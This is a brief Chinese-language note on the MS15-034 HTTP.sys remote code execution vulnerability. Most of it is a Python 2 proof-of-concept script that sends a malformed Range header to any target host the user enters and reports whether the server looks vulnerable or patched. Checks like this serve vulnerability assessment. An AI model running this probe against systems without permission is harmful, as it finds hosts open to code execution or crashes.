HTTP.sys遠程執行代碼漏洞

遠程執行代碼漏洞存在於 HTTP 協議堆棧 (HTTP.sys) 中，當 HTTP.sys 未正確分析經特殊設計的 HTTP 請求時會導致此漏洞。成功利用此漏洞的攻擊者可以在系統帳戶的上下文中執行任意代碼。

官方文檔：https://technet.microsoft.com/zh-cn/library/security/MS15-034

POC(python2)：

#!/usr/bin/env python
#-*-coding:utf-8-*-

import socket
import random

ipAddr = raw_input("Please set your target:")
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET /  HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

print "[*] Audit Started"

try:
                client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                client_socket.connect((ipAddr, 80))
                client_socket.send(req1)
                boringResp = client_socket.recv(1024)
                if "Microsoft" not in boringResp:
                                print "[*] Not IIS"
                                exit(0)
                client_socket.close()
                client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                client_socket.connect((ipAddr, 80))
                client_socket.send(req)
                goodResp = client_socket.recv(1024)
                if "Requested Range Not Satisfiable" in goodResp:
                                print "[!!] Looks VULN"
                elif " The request has an invalid header name" in goodResp:
                                print "[*] Looks Patched"
                else:
                                print "[*] Unexpected response, cannot discern patch status"
                                
except Exception,e:
                print e